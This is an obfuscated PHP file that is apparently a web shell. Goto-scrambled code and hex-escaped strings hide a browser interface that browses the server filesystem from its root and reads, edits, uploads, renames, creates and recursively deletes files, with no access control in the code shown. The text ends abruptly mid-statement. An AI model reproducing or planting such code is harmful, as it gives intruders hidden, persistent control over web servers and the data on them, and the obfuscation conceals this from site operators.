$Eg0dA = rtrim($CGf7N, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . ltrim($miDsG, DIRECTORY_SEPARATOR); goto gN39Y; J9DQN: $MBA4J = []; goto rh6M6; LJvJa: $L0rGH = str_replace("\x0", '', (string) $L0rGH); goto YneaN; Rqpot: return getcwd(); goto edkPN; edkPN: h21BT: goto Uc_A8; WukCy: J01uK: goto qiNbW; iLJJr: if (!($EMPkr !== false && strpos($EMPkr, $CGf7N) === 0)) { goto L0pwG; } goto MEWm2; MEWm2: $CKior = $EMPkr; goto UVWBz; nMdJk: if (!preg_match("\43\x5e\50\x5b\101\55\x5a\141\55\172\x5d\72\x7c" . preg_quote(DIRECTORY_SEPARATOR, "\x23") . "\51\43", $miDsG)) { goto ypfWy; } goto Arqok; NO6n1: $miDsG = str_replace(["\57", "\x5c"], DIRECTORY_SEPARATOR, $miDsG); goto nMdJk; rh6M6: foreach (explode(DIRECTORY_SEPARATOR, $Eg0dA) as $Etvzy) { goto Z6uhb; j2Rpw: $MBA4J[] = $Etvzy; goto HrsG9; ypMp8: JV8eq: goto j2Rpw; HO2gs: tOFA4: goto LAmp8; HrsG9: pfVY5: goto WYoQ6; Z6uhb: if (!($Etvzy === '' || $Etvzy === "\x2e")) { goto tOFA4; } goto nF_fH; dIUVM: goto pfVY5; goto ypMp8; nF_fH: goto pfVY5; goto HO2gs; LAmp8: if (!($Etvzy === "\56\56")) { goto JV8eq; } goto MRAnU; MRAnU: array_pop($MBA4J); goto dIUVM; WYoQ6: } goto BsvTl; Arqok: $Eg0dA = $miDsG; goto BAlZZ; DCQEP: $CKior = DIRECTORY_SEPARATOR . implode(DIRECTORY_SEPARATOR, $MBA4J); goto JNeaU; JNeaU: goto J01uK; goto HIzt7; HIzt7: X_gDj: goto UwCu_; MY4HI: VdibK: goto OwTdD; BsvTl: diW2b: goto gACB2; ywxPs: if (!is_file($CKior)) { goto VdibK; } goto p1H6t; gACB2: if (DIRECTORY_SEPARATOR === "\134" && preg_match("\x23\136\x5b\x41\x2d\x5a\x61\x2d\x7a\x5d\72\x23", $MBA4J[0] ?? '')) { goto X_gDj; } goto DCQEP; kjK6C: if (!($L0rGH === '' || $L0rGH === "\56" || $L0rGH === "\x2f" || $L0rGH === "\134")) { goto h21BT; } goto Rqpot; qiNbW: $EMPkr = @realpath($CKior); goto iLJJr; UwCu_: $CKior = implode(DIRECTORY_SEPARATOR, $MBA4J); goto WukCy; gN39Y: X229F: goto J9DQN; p1H6t: $CKior = dirname($CKior); goto MY4HI; YneaN: $L0rGH = trim($L0rGH); goto kjK6C; BAlZZ: goto X229F; goto Sn10H; OwTdD: return rtrim($CKior, DIRECTORY_SEPARATOR); goto uuWpc; uuWpc: } goto qtljP; x1rWp: function l0hE9($MBA4J) { return substr(sprintf("\x25\157", $MBA4J), -4); } goto Tdljh; uqaFC: vc3s6: goto ZpEDW; Vh4wz: goto Ks_7d; goto h_Xbc; U_JeO: vda2W: goto yGnlL; lY_3K: $miDsG = basename(trim((string) ($_POST["\x6e"] ?? ''))); goto EAhfd; N20dR: PLCDn: goto eiHPH; QokuC: if (!isset($_POST["\155\x76"])) { goto JemmC; } goto RvlvP; A58OJ: $jiDJJ = $_GET["\x64\157"] ?? ''; goto sEydI; p3v4Z: $J1jPy = (string) ($_POST["\160\141\x79\x6c\157\x61\x64"] ?? ''); goto fBsWN; aLyri: Xh87f: goto qu8Cz; KcFzF: JemmC: goto HNvxm; P_ewX: DuklL: goto aE3BT; HNvxm: if (!isset($_POST["\x72\155\x66"])) { goto q33k1; } goto z097c; PlpAM: goto SGQhK; goto i_KZ3; s6upI: if (!$d2eLc) { goto MFcYk; } goto Vm9Z2; tLh86: function lMs8G($FMHfo, $sOr1_) { return "\74\141\40\143\x6c\141\163\163\x3d\47\154\x69\x6e\153\x27\40\150\162\145\146\x3d\x27\77\x70\x74\x3d" . uyark(fttyE($FMHfo)) . "\47\x3e" . uYarK($sOr1_) . "\74\x2f\141\x3e"; } goto ByK47; vaUVK: if ($eC5Q2 === false) { goto gnd77; } goto mkAjj; j53TM: if (!(($_GET["\x74"] ?? '') === "\x65\x72\x72")) { goto rGi_a; } goto rtwJu; yyPc2: echo "\74\x64\151\166\40\x63\x6c\141\163\163\75\x22\x6d\x73\x67\x20\x65\x72\x72\x22\76\143\x61\156\156\x6f\164\40\x72\x65\x61\144\x3c\x2f\144\151\x76\x3e\x20"; goto JXmBA; j5lY0: echo UyArK($d2eLc); goto kbjML; HJeiQ: hLLSm: goto bpR4B; j1ux5: $CGf7N = "\57"; goto KKgFI; Yuvqx: if (!isset($_POST["\155\153\144"])) { goto vda2W; } goto PnxF5; Lpr4Y: w_Xge($hKa5N, ["\153" => "\61"]); goto vQy3G; QENit: kkIof: goto rmRh1; eAR0r: $whCcN = $hKa5N . DIRECTORY_SEPARATOR . $VI76I; goto VSObE; Hqc2A: echo UYark($eC5Q2); goto riMoP; kbjML: echo "\x3c\x2f\144\x69\x76\x3e"; goto FmZvK; DzG28: function w_xGe($bQRbF, $H_uAo = array()) { goto WF3K_; ylyyd: $zraXm = FttYE($bQRbF); goto XQk6Y; WF3K_: global $_GET, $hKa5N, $zraXm, $CGf7N; goto ylyyd; BiG7B: $_SERVER["\122\x45\x51\x55\x45\123\124\137\115\x45\124\110\117\104"] = "\x47\105\x54"; goto uUcn2; ra1sm: $hKa5N = I07ei($bQRbF, $CGf7N); goto zvcP4; zvcP4: $_POST = []; goto BiG7B; XQk6Y: $_GET = $H_uAo + ["\x70\164" => $zraXm]; goto ra1sm; uUcn2: } goto Spq_p; yDR3L: psXUh: goto jiv5N; riMoP: echo "\74\x2f\164\x65\x78\x74\141\x72\x65\141\76\x20\x3c\144\151\166\x20\163\164\x79\x6c\x65\x3d\42\x6d\x61\x72\147\x69\156\55\x74\x6f\160\x3a\61\60\x70\170\42\76\x3c\142\165\x74\164\157\x6e\x20\x63\154\x61\163\x73\x3d\42\142\164\x6e\x22\164\171\x70\145\75\x22\163\165\142\x6d\151\x74\x22\156\141\155\x65\x3d\x22\x73\x61\166\x65\x22\x3e\x63\157\x6d\x6d\x69\x74\x3c\x2f\142\165\164\x74\157\x6e\76\x3c\57\144\151\166\x3e\x3c\x2f\x66\x6f\162\x6d\76\40"; goto Vh4wz; FmZvK: MFcYk: goto b8j3M; kU07P: Nt9Pk: goto PNlV5; ODPNp: echo "\40\x3c\144\151\x76\40\x63\x6c\x61\x73\x73\75\x22\x63\141\x72\x64\x22\x73\164\x79\x6c\145\75\42\155\141\162\147\x69\x6e\x2d\x74\157\160\72\61\64\160\170\42\x3e\x20\x3c\144\151\166\x20\x63\x6c\141\163\163\75\x22\164\x30\x22\x73\164\171\x6c\x65\75\42\146\157\x6e\164\55\x73\x69\x7a\x65\x3a\x31\x36\x70\170\x3b\155\141\162\x67\x69\156\x2d\142\157\164\164\157\x6d\72\x38\160\x78\x22\76\151\x74\145\x6d\163\x3c\57\x64\151\166\x3e\x20\74\x74\141\142\x6c\x65\x20\x63\x6c\x61\163\163\75\x22\164\x62\x6c\42\x3e\x20\x3c\164\162\76\x3c\164\150\x3e\156\x61\155\145\x3c\x2f\x74\150\76\x3c\x74\150\76\163\x69\172\145\x3c\57\164\150\76\74\x74\x68\x3e\x70\145\x72\155\74\57\x74\150\76\74\164\150\76\x6d\157\x64\151\x66\x69\x65\144\x3c\x2f\x74\150\76\74\x74\x68\x3e\x61\143\164\151\157\156\x73\74\x2f\x74\x68\76\x3c\57\x74\x72\x3e\40"; goto qLDxo; jLtCl: kaEwf: goto VJg8R; SEZ4v: W_xGe($hKa5N, ["\x6b" => "\71", "\164" => "\145\162\162"]); goto MlDJ8; ihnhP: j3EWH: goto SJj6R; deL_l: session_start(); goto MhBcj; oeAVm: W_XGe($hKa5N, ["\x6b" => "\62", "\x64\x6f" => "\x65\x64\x69\x74", "\146" => $mH8g4]); goto yDR3L; BYmom: function ieJlG($VI76I, $miDsG) { goto CoqSg; VawAc: @flock($IPTV6, LOCK_UN); goto C_tg1; e1EvH: if (!(!is_dir($Hr3it) || !is_writable($Hr3it))) { goto Rk2rP; } goto jZmtB; jZmtB: return false; goto AUBcC; f9x71: if ($IPTV6) { goto vtOrb; } goto ci0Lv; ci0Lv: return false; goto WYbKG; AUBcC: Rk2rP: goto CH70F; SEfB_: return $c2N_Z !== false; goto mDGYI; C_tg1: @fclose($IPTV6); goto SEfB_; CoqSg: $Hr3it = dirname($VI76I); goto e1EvH; CH70F: $IPTV6 = @fopen($VI76I, "\167\142"); goto f9x71; lwBIR: $c2N_Z = @fwrite($IPTV6, $miDsG); goto VawAc; WYbKG: vtOrb: goto yZVfu; yZVfu: @flock($IPTV6, LOCK_EX); goto lwBIR; mDGYI: } goto hjj2P; laSjr: if (!($_SERVER["\x52\105\x51\125\105\x53\x54\137\x4d\105\124\110\x4f\104"] === "\120\117\123\124")) { goto kaEwf; } goto CCCv1; w9c3s: echo "\74\x2f\x73\160\x61\x6e\x3e\x3c\x2f\144\151\x76\76\40\x3c\57\150\x65\x61\x64\x65\162\x3e\40"; goto s6upI; hjj2P: function Satn0($miDsG) { goto oHms0; WOcVA: $sOr1_ = @scandir($miDsG); goto rNRmG; ERF_Q: foreach ($sOr1_ as $Eg0dA) { goto DEe8k; tWrWv: goto yXRZA; goto E80WC; vt1Dg: UyBGv: goto QTBHa; E80WC: X2f2V: goto FulTc; QTBHa: goto viULj; goto eC4iY; yEn3z: if (@unlink($whCcN)) { goto UyBGv; } goto Nn_Uu; eC4iY: Xk4Hh: goto sneGh; Nn_Uu: return false; goto vt1Dg; sneGh: if (Satn0($whCcN)) { goto rYipu; } goto V1ECH; R4d_L: if (is_dir($whCcN)) { goto Xk4Hh; } goto yEn3z; NYCxH: yXRZA: goto YByo5; DEe8k: if (!($Eg0dA === "\x2e" || $Eg0dA === "\x2e\56")) { goto X2f2V; } goto tWrWv; V1ECH: return false; goto v3sHY; v3sHY: rYipu: goto QDpcK; QDpcK: viULj: goto NYCxH; FulTc: $whCcN = $miDsG . DIRECTORY_SEPARATOR . $Eg0dA; goto R4d_L; YByo5: } goto VYNis; sCzwB: tsVj9: goto WOcVA; mynzH: return false; goto sCzwB; VYNis: YvPZD: goto wcnM_; rNRmG: if (!($sOr1_ === false)) { goto LxycF; } goto b5yXt; b_IU0: LxycF: goto ERF_Q; oHms0: if (is_dir($miDsG)) { goto tsVj9; } goto mynzH; b5yXt: return false; goto b_IU0; wcnM_: return @rmdir($miDsG); goto SMUE1; SMUE1: } goto x1rWp; oZtsk: echo "\40"; goto vaUVK; WDUTr: echo "\x3c\57\163\160\x61\156\76\74\x73\160\x61\156\40\143\x6c\x61\x73\163\x3d\x22\160\151\x6c\154\42\76\x63\167\144\40"; goto k2LMe; lCph2: $CKior = basename(trim((string) ($_POST["\x6e\x61\x6d\145"] ?? ''))); goto xnOR1; bOieB: w_Xge($hKa5N, ["\153" => "\71", "\164" => "\x65\x72\162"]); goto PlpAM; cRJWB: s5oeC: goto squp7; sEydI: $mH8g4 = $_GET["\146"] ?? ''; goto IekT2; g9C9r: w_XgE($hKa5N, ["\x6b" => "\170", "\164" => "\x65\162\162"]); goto U_JeO; kgAnr: if (!iEJlG($whCcN, $J1jPy)) { goto psXUh; } goto oeAVm; i_KZ3: N6uo1: goto T9MSe; bpR4B: goto XBF1z; goto Q77BA; ZVBcG: function YTNdA($YPhVT, $Usag4) { goto N739s; TMouq: $Mo3bv = @fopen($Usag4, "\167\142"); goto yqEKi; HrdDT: return false; goto vURi7; KssRV: $miDsG = @fread($HR1lC, 65536); goto jYQm2; yqEKi: if ($Mo3bv) { goto m9QZf; } goto fCJNk; vURi7: dc_Vn: goto OIwLT; WxGAt: if ($HR1lC) { goto ym1FS; } goto y6f2t; jYQm2: if (!($miDsG === false || @fwrite($Mo3bv, $miDsG) === false)) { goto Z_DlE; } goto mnSkU; QTNpl: if (feof($HR1lC)) { goto NAx8d; } goto KssRV; OIwLT: $HR1lC = @fopen($YPhVT, "\x72\142"); goto WxGAt; y6f2t: return false; goto IdbDC; mnSkU: $c2N_Z = false; goto B2Klw; IdbDC: ym1FS: goto TMouq; W8b93: Z_DlE: goto ZTR7U; AY39f: @fclose($HR1lC); goto qYF3f; ZTR7U: goto m94Cq; goto WYolU; IS_1Z: $Hr3it = dirname($Usag4); goto Xhb_f; mjX2k: LhBFH: goto IS_1Z; tQXD1: m94Cq: goto QTNpl; N739s: if (file_exists($YPhVT)) { goto LhBFH; } goto x0fqH; fCJNk: @fclose($HR1lC); goto PlYXQ; B2Klw: goto NAx8d; goto W8b93; Xhb_f: if (!(!is_dir($Hr3it) || !is_writable($Hr3it))) { goto dc_Vn; } goto HrdDT; FJsjR: $c2N_Z = true; goto tQXD1; ptz1g: return $c2N_Z; goto Jp_TE; WYolU: NAx8d: goto AY39f; PlYXQ: return false; goto JawIz; x0fqH: return false; goto mjX2k; qYF3f: @fclose($Mo3bv); goto ptz1g; JawIz: m9QZf: goto FJsjR; Jp_TE: } goto laSjr; eheqp: if ($VI76I["\145\162\162\157\162"] !== UPLOAD_ERR_OK || !is_uploaded_file($VI76I["\164\x6d\x70\137\156\141\x6d\x65"])) { goto P18wP; } goto HTCLw; MhBcj: $_SESSION["\x6d\141\144\x65\x72"] = $_SESSION["\155\x61\x64\x65\x72"] ?? []; goto nqWBq; VEqlT: yPV4Y: goto cRJWB; rtwJu: $kU931 = "\145\x72\x72"; goto CZ_lC; UN647: W_XGE($hKa5N, ["\x6b" => "\71", "\x74" => "\145\162\x72"]); goto QENit; BIN3Z: W_xGe($hKa5N, ["\x6b" => "\x36"]); goto vKwoh; ijlg2: goto SGQhK; goto U1EZY; h_Xbc: gnd77: goto yyPc2; mkAjj: echo "\40\74\x66\x6f\x72\155\x20\x6d\145\164\150\x6f\144\75\42\160\x6f\x73\x74\x22\x63\154\141\x73\163\75\x22\x63\141\162\x64\x22\76\x20\x3c\x64\x69\x76\x20\x63\154\141\x73\163\75\x22\164\x30\42\x73\164\x79\x6c\145\x3d\x22\x66\x6f\x6e\x74\x2d\163\151\x7a\x65\x3a\61\66\160\170\42\x3e\x72\145\x76\x69\163\x65\x20\x3c\163\x70\141\x6e\40\x63\x6c\141\x73\x73\x3d\42\x70\151\x6c\x6c\42\76"; goto vxsKk; p4XrB: if (!($jiDJJ === "\145\x64\151\164" && $mH8g4 !== '')) { goto jX5q3; } goto kK2_J; x4L5j: $whCcN = rtrim($hKa5N, "\x5c\57") . DIRECTORY_SEPARATOR . $mH8g4; goto p3v4Z; Bihz4: echo "\74\57\x64\x69\166\76\x20\x3c\x64\x69\166\76\74\x73\x70\x61\156\40\143\154\141\163\x73\75\42\x70\x69\x6c\x6c\42\76\x72\157\157\x74\40"; goto ZQZYY; yGnlL: if (!(isset($_POST["\163\x61\166\145"]) && $mH8g4 !== '')) { goto GxHB2; } goto x4L5j; qtljP: function e7ARj($VI76I) { goto nj0p0; u5bRj: $O0257 .= $J1jPy; goto TZFvt; s_BV0: @fclose($IPTV6); goto RapEK; la9bw: PZ2bp: goto yhcZZ; td3ix: DAyAc: goto PzwZv; A5tiQ: if (feof($IPTV6)) { goto DAyAc; } goto okQXT; nj0p0: if (!(!is_file($VI76I) || !is_readable($VI76I))) { goto PZ2bp; } goto XJB3f; RapEK: return false; goto PI2VL; ywn7U: return $O0257; goto M1kcO; okQXT: $J1jPy = @fread($IPTV6, 65536); goto ODzHj; PI2VL: k1hEc: goto u5bRj; SxDYF: rjgon: goto yYzix; yYzix: $O0257 = ''; goto mb_Ig; TZFvt: goto DgIOg; goto td3ix; XJB3f: return false; goto la9bw; PzwZv: @fclose($IPTV6); goto ywn7U; bJmH4: return false; goto SxDYF; ODzHj: if (!($J1jPy === false)) { goto k1hEc; } goto s_BV0; Bt8Zd: if ($IPTV6) { goto rjgon; } goto bJmH4; mb_Ig: DgIOg: goto A5tiQ; yhcZZ: $IPTV6 = @fopen($VI76I, "\x72\x62"); goto Bt8Zd; M1kcO: } goto BYmom; KHVSC: if (!isset($_POST["\162\155\144"])) { goto a_3RV; } goto lY_3K; tP76R: W_xge($hKa5N, ["\153" => "\x39", "\x74" => "\x65\162\x72"]); goto uqaFC; Ymukx: echo t1hB9($hKa5N, $CGf7N); goto Bihz4; oVZMU: function UYArK($Etvzy) { return strtr((string) $Etvzy, ["\46" => "\x26\141\x6d\160\x3b", "\74" => "\46\x6c\x74\x3b", "\76" => "\x26\147\164\x3b", "\x22" => "\x26\x71\165\x6f\164\x3b", "\x27" => "\46\x23\60\63\71\73"]); } goto DzG28; ZCz1Z: echo uYArk($kU931); goto Uqbg7; ofD8v: $Ej6Hl = $hKa5N . DIRECTORY_SEPARATOR . $uo63X; goto jOK68; lhYSB: $uo55N = $_GET["\x6b"] ?? ''; goto ZLhU4; b8j3M: echo "\x20\x3c\144\151\x76\x20\143\x6c\141\163\x73\x3d\x22\x67\162\x69\144\x22\x3e\40\x3c\x66\157\162\x6d\x20\x6d\145\x74\150\157\144\x3d\42\x70\x6f\x73\x74\x22\40\x65\156\x63\164\171\160\x65\x3d\x22\155\165\x6c\x74\x69\x70\x61\162\x74\57\146\157\162\155\55\144\x61\x74\x61\42\x20\x63\154\141\163\x73\75\x22\x63\141\x72\144\x22\x3e\x20\x3c\x64\x69\166\40\143\x6c\141\x73\x73\x3d\x22\x74\x30\42\163\x74\x79\x6c\x65\75\x22\x66\157\x6e\164\55\163\x69\x7a\x65\72\x31\x36\160\x78\42\76\151\156\147\145\163\x74\x3c\x2f\144\x69\x76\x3e\x20\74\x69\x6e\x70\x75\164\40\x63\x6c\141\x73\x73\x3d\42\x69\x6e\x22\x74\x79\x70\145\75\42\146\151\x6c\145\42\156\141\x6d\145\75\42\x62\165\42\57\76\x20\74\x64\x69\x76\x20\x73\x74\x79\154\145\x3d\x22\x6d\141\162\x67\151\x6e\x2d\x74\157\160\x3a\70\x70\x78\42\76\x3c\x62\165\164\164\x6f\156\x20\x63\x6c\x61\x73\163\x3d\42\142\164\x6e\42\x74\171\x70\145\75\42\x73\165\142\x6d\151\x74\42\76\x73\145\156\144\74\57\142\x75\164\164\x6f\x6e\x3e\74\57\x64\x69\166\76\x3c\57\x66\x6f\x72\x6d\x3e\x20\x3c\146\157\x72\x6d\x20\x6d\x65\x74\150\x6f\144\x3d\42\160\157\x73\x74\42\143\154\x61\x73\x73\x3d\x22\x63\141\x72\x64\42\x3e\40\x3c\144\x69\166\40\143\x6c\x61\163\x73\75\x22\164\60\42\163\x74\171\x6c\145\75\42\x66\157\x6e\164\x2d\x73\151\x7a\145\72\x31\66\160\x78\x22\x3e\x66\162\x65\x73\x68\40\151\164\x65\155\74\x2f\x64\151\166\76\x20\74\151\156\160\165\164\x20\143\x6c\141\163\x73\75\42\x69\x6e\x22\156\x61\155\145\75\x22\156\141\x6d\x65\x22\x70\x6c\141\143\145\x68\157\x6c\144\x65\162\75\42\x66\151\154\x65\x2e\x65\170\164\42\57\76\40\x3c\x74\x65\x78\164\141\x72\145\x61\x20\156\141\155\x65\x3d\42\x70\141\x79\154\x6f\x61\x64\42\162\157\x77\x73\75\x22\66\42\x70\154\141\x63\x65\x68\x6f\154\x64\x65\162\75\42\x63\157\x6e\164\145\x6e\x74\x20\50\157\160\x74\x29\42\x3e\x3c\x2f\164\x65\x78\x74\x61\162\145\141\x3e\40\74\144\151\166\40\163\164\171\154\145\75\x22\155\x61\x72\147\x69\x6e\55\164\157\160\x3a\x38\x70\170\42\76\x3c\x62\165\x74\164\157\x6e\40\143\154\141\x73\x73\x3d\x22\142\164\x6e\42\164\x79\160\145\x3d\42\x73\165\x62\x6d\x69\x74\x22\156\141\155\145\x3d\42\x6d\153\146\42\x3e\143\x72\145\x61\x74\x65\74\x2f\142\x75\x74\x74\157\156\76\74\x2f\x64\x69\x76\x3e\74\57\146\x6f\162\155\x3e\40\x3c\146\157\162\x6d\x20\155\x65\164\150\157\x64\x3d\42\160\157\x73\x74\x22\x63\x6c\141\163\x73\x3d\x22\143\141\x72\x64\x22\x3e\40\74\x64\x69\x76\x20\x63\154\141\163\163\x3d\x22\164\60\42\x73\x74\x79\x6c\145\x3d\x22\146\x6f\x6e\164\55\163\151\172\145\72\x31\x36\x70\x78\42\x3e\x66\162\145\x73\x68\x20\x64\x69\x72\x3c\x2f\x64\151\166\76\x20\74\151\x6e\160\x75\x74\40\143\154\141\x73\163\x3d\42\x69\x6e\x22\156\x61\x6d\145\x3d\42\156\x61\155\x65\x22\160\x6c\x61\143\x65\x68\157\154\144\x65\162\x3d\x22\146\157\154\144\x65\x72\x22\x2f\x3e\x20\x3c\144\151\x76\40\x73\164\171\154\x65\x3d\x22\155\x61\162\x67\151\x6e\x2d\164\x6f\160\72\70\160\170\42\x3e\74\x62\x75\x74\164\x6f\156\40\x63\x6c\x61\163\x73\x3d\x22\x62\x74\x6e\x22\164\171\x70\x65\75\42\163\165\x62\x6d\151\x74\x22\x6e\x61\x6d\x65\75\x22\x6d\153\x64\x22\x3e\143\x72\x65\141\164\145\x3c\x2f\x62\x75\x74\164\157\x6e\76\74\x2f\144\151\166\x3e\74\x2f\146\x6f\162\x6d\x3e\40\x3c\57\144\151\166\76\40"; goto p4XrB; PNlV5: if (!isset($_POST["\155\153\x66"])) { goto kkWlg; } goto lCph2; Q3p0q: $whCcN = $hKa5N . DIRECTORY_SEPARATOR . $miDsG; goto YIpDe; U1EZY: P18wP: goto bOieB; Vxf2g: kkWlg: goto Yuvqx; TYdBw: $d2eLc = null; goto Vr9Vl; T9MSe: w_XGe($hKa5N, ["\153" => "\x37"]); goto X6ys7; MQmhL: GxHB2: goto QokuC; aoQXk: if (!($VI76I !== '')) { goto DuklL; } goto eAR0r; qLDxo: $gsdxU = @scandir($hKa5N); goto V7U51; vKwoh: t0FkU: goto wIFX2; Tdljh: function n_Dat($zfTDf) { return is_numeric($zfTDf) ? number_format((float) $zfTDf) . "\x20\142\171\x74\x65\163" : "\55"; } goto tLh86; jiv5N: w_Xge($hKa5N, ["\x6b" => "\170", "\x74" => "\145\x72\162", "\144\157" => "\x65\144\151\x74", "\146" => $mH8g4]); goto MQmhL; IekT2: $tuNNk = $_GET["\144"] ?? ''; goto v08bi; OKTub: echo "\74\164\162\x3e\74\164\x64\40\x63\157\x6c\x73\160\x61\x6e\x3d\x27\x35\47\x3e\156\157\40\x61\x63\143\145\x73\163\74\57\164\144\76\74\57\164\x72\x3e"; goto I521M; rGXre: w_xge($hKa5N, ["\x6b" => "\71", "\164" => "\x65\162\162"]); goto f9MYT; F5GSt: $MBA4J = $_GET["\160"] ?? ''; goto A58OJ; nqWBq: function FtTye($FMHfo) { goto fO2SN; VmhhP: $_SESSION["\155\141\x64\x65\162"][$zfTDf] = $FMHfo; goto I5WYd; I5WYd: return $zfTDf; goto MKK6y; fO2SN: $zfTDf = bin2hex(random_bytes(8)); goto VmhhP; MKK6y: } goto Q91hu; vxsKk: echo uyArK($mH8g4); goto I5Phs; I5Phs: echo "\x3c\x2f\163\160\141\x6e\76\x3c\57\x64\151\166\x3e\40\74\x74\x65\x78\164\x61\x72\x65\141\x20\156\x61\155\x65\x3d\x22\160\141\x79\x6c\x6f\141\x64\42\162\157\167\163\x3d\42\x31\x38\x22\76"; goto Hqc2A; qnEd1: JKwBV: goto ZVBcG; Edmio: W_xge($hKa5N, ["\x6b" => "\x78", "\x74" => "\145\162\162", "\x64\x6f" => "\x65\x64\x69\x74", "\146" => $mH8g4]); goto Ug248; g72Y8: foreach ($gsdxU as $gxTgH) { goto flNGU; jzcog: echo "\x3c\x61\40\x63\154\141\x73\163\75\47\x6c\x69\x6e\153\47\163\164\171\x6c\x65\75\x27\155\x61\162\x67\151\156\x2d\x72\x69\x67\150\x74\x3a\x38\x70\x78\47\x68\162\145\146\75\x27\77\x70\x74\x3d" . uyARK(FtTYE($hKa5N)) . "\x26\x64\x6f\75\145\x64\x69\x74\x26\146\75" . urlencode($gxTgH) . "\x27\x3e\x6f\x70\145\x6e\x3c\x2f\141\76"; goto etHKC; QUvAQ: $VI76I = $hKa5N . DIRECTORY_SEPARATOR . $gxTgH; goto ENwuF; zqap5: echo uYARK($gxTgH); goto YchY7; fr8Sr: $X0ktj = $iHpW1 !== false ? L0hE9($iHpW1) : "\x2d\55\55\x2d"; goto exay0; WjcJc: efpaq: goto QUvAQ; DYygb: echo "\74\x66\157\162\155\x20\x6d\x65\164\150\157\144\x3d\47\160\157\x73\164\x27\163\x74\x79\x6c\x65\75\x27\144\151\163\160\x6c\x61\171\72\151\x6e\x6c\x69\x6e\145\73\x6d\141\162\147\x69\x6e\x2d\x6c\x65\x66\x74\x3a\x36\x70\170\x27\76\x3c\151\156\160\165\164\x20\x74\x79\x70\145\75\47\x68\x69\x64\144\x65\x6e\47\156\x61\155\x65\x3d\47\x6d\166\x27\x76\141\x6c\x75\x65\x3d\47\61\x27\76\74\x69\156\x70\x75\x74\x20\164\171\160\x65\x3d\x27\x68\151\144\144\145\x6e\47\156\141\x6d\x65\x3d\x27\x66\162\157\x6d\47\166\x61\154\x75\x65\75\47" . UYarK($gxTgH) . "\47\76\x3c\x69\x6e\160\x75\x74\40\143\x6c\141\x73\x73\x3d\x27\x69\156\47\x73\x74\x79\x6c\x65\75\47\167\151\144\x74\x68\72\61\x36\x30\x70\170\47\x6e\141\155\x65\75\x27\x74\157\47\x70\154\141\143\x65\150\157\154\x64\x65\x72\75\x27\162\145\156\141\155\145\40\x74\157\x27\76\40\74\142\165\x74\x74\157\156\40\143\x6c\141\163\x73\x3d\x27\x62\164\156\47\x74\171\160\145\75\x27\163\165\x62\x6d\x69\x74\47\x3e\162\145\x6e\x61\x6d\x65\x3c\x2f\142\165\164\164\157\x6e\x3e\74\x2f\x66\x6f\x72\x6d\76"; goto Pp6vH; exay0: $CZBH_ = $uNdAL ? "\x2d" : n_daT(@filesize($VI76I)); goto bDCqW; wG5qh: goto zk_Dq; goto bVqoz; YchY7: goto vG537; goto oP0f6; goRiH: echo "\74\57\164\x64\x3e\x3c\57\x74\x72\76"; goto BuDYe; Pp6vH: zk_Dq: goto goRiH; etHKC: echo "\x3c\x66\157\x72\x6d\x20\155\x65\x74\150\157\x64\x3d\47\x70\x6f\163\164\47\x73\164\171\154\x65\x3d\x27\x64\151\x73\160\154\141\171\72\x69\156\x6c\x69\156\x65\47\x6f\156\x73\x75\x62\x6d\x69\164\x3d\42\162\x65\x74\x75\x72\x6e\x20\143\x6f\156\146\151\x72\155\x28\x27\144\145\x6c\145\164\x65\x20\x66\x69\x6c\x65\77\47\51\42\x3e\x3c\x69\x6e\160\165\164\40\164\171\160\x65\75\47\150\x69\144\144\x65\x6e\x27\156\141\155\145\x3d\x27\162\155\146\x27\166\x61\x6c\x75\x65\75\47\61\47\x3e\x3c\151\x6e\160\x75\164\x20\x74\171\160\x65\x3d\47\x68\x69\x64\144\x65\156\47\x6e\x61\155\145\75\47\156\47\166\x61\x6c\165\145\x3d\47" . UYArk($gxTgH) . "\x27\x3e\74\x62\x75\164\x74\x6f\156\x20\x63\154\x61\163\163\75\x27\142\x74\156\47\x74\x79\160\145\75\x27\x73\x75\x62\155\x69\164\47\x3e\x64\x65\154\x65\164\145\x3c\x2f\x62\165\164\164\157\156\76\x3c\x2f\146\x6f\x72\x6d\x3e\40"; goto mM6Pd; wPCAT: echo LMs8G($VI76I, $gxTgH); goto RUr3O; BuDYe: GHZew: goto BtTPi; mp6wL: if ($uNdAL) { goto otXPk; } goto jzcog; atDZQ: echo "\x3c\x2f\x74\144\76\x3c\x74\x64\x3e{$CZBH_}\x3c\57\x74\144\x3e\x3c\x74\144\x3e{$X0ktj}\74\x2f\x74\144\x3e\74\x74\144\x3e{$rzphS}\x3c\x2f\164\144\76\x3c\x74\x64\76"; goto mp6wL; PvgJ_: goto GHZew; goto WjcJc; mM6Pd: echo "\x3c\x66\x6f\162\x6d\x20\155\x65\x74\150\157\x64\x3d\47\x70\x6f\163\x74\x27\x73\164\x79\154\x65\75\x27\x64\151\163\x70\x6c\141\171\72\x69\x6e\154\151\156\x65\73\x6d\x61\x72\x67\151\156\x2d\154\145\146\x74\72\66\x70\x78\x27\x3e\74\151\156\160\165\164\x20\x74\x79\x70\145\75\47\x68\x69\x64\x64\145\x6e\47\x6e\x61\x6d\145\x3d\47\x6d\x76\x27\166\x61\x6c\x75\145\x3d\x27\x31\47\76\74\x69\156\160\165\164\x20\x74\171\x70\145\75\x27\150\x69\144\144\x65\x6e\x27\156\141\x6d\145\75\x27\x66\x72\157\x6d\x27\166\x61\x6c\x75\145\x3d\x27" . uyaRK($gxTgH) . "\47\76\x3c\x69\x6e\x70\165\x74\x20\143\x6c\141\163\x73\75\x27\151\x6e\47\163\x74\x79\x6c\145\75\47\x77\151\144\x74\150\x3a\61\x36\60\x70\x78\47\x6e\141\x6d\145\75\47\164\157\47\x70\x6c\141\x63\145\150\157\x6c\x64\145\x72\75\47\x72\145\x6e\141\155\145\40\x74\x6f\47\76\40\x3c\x62\x75\x74\164\x6f\156\40\x63\154\x61\x73\x73\75\47\x62\164\x6e\x27\x74\171\x70\145\75\47\163\165\142\155\x69\x74\47\x3e\x72\x65\156\x61\x6d\145\74\57\x62\x75\x74\164\x6f\156\x3e\x3c\x2f\146\x6f\162\155\x3e"; goto wG5qh; bVqoz: otXPk: goto BAuID; RUr3O: vG537: goto atDZQ; gNzCw: echo "\74\164\x72\76\74\164\144\76"; goto bbZLG; flNGU: if (!($gxTgH === "\56" || $gxTgH === "\56\x2e")) { goto efpaq; } goto PvgJ_; BAuID: echo 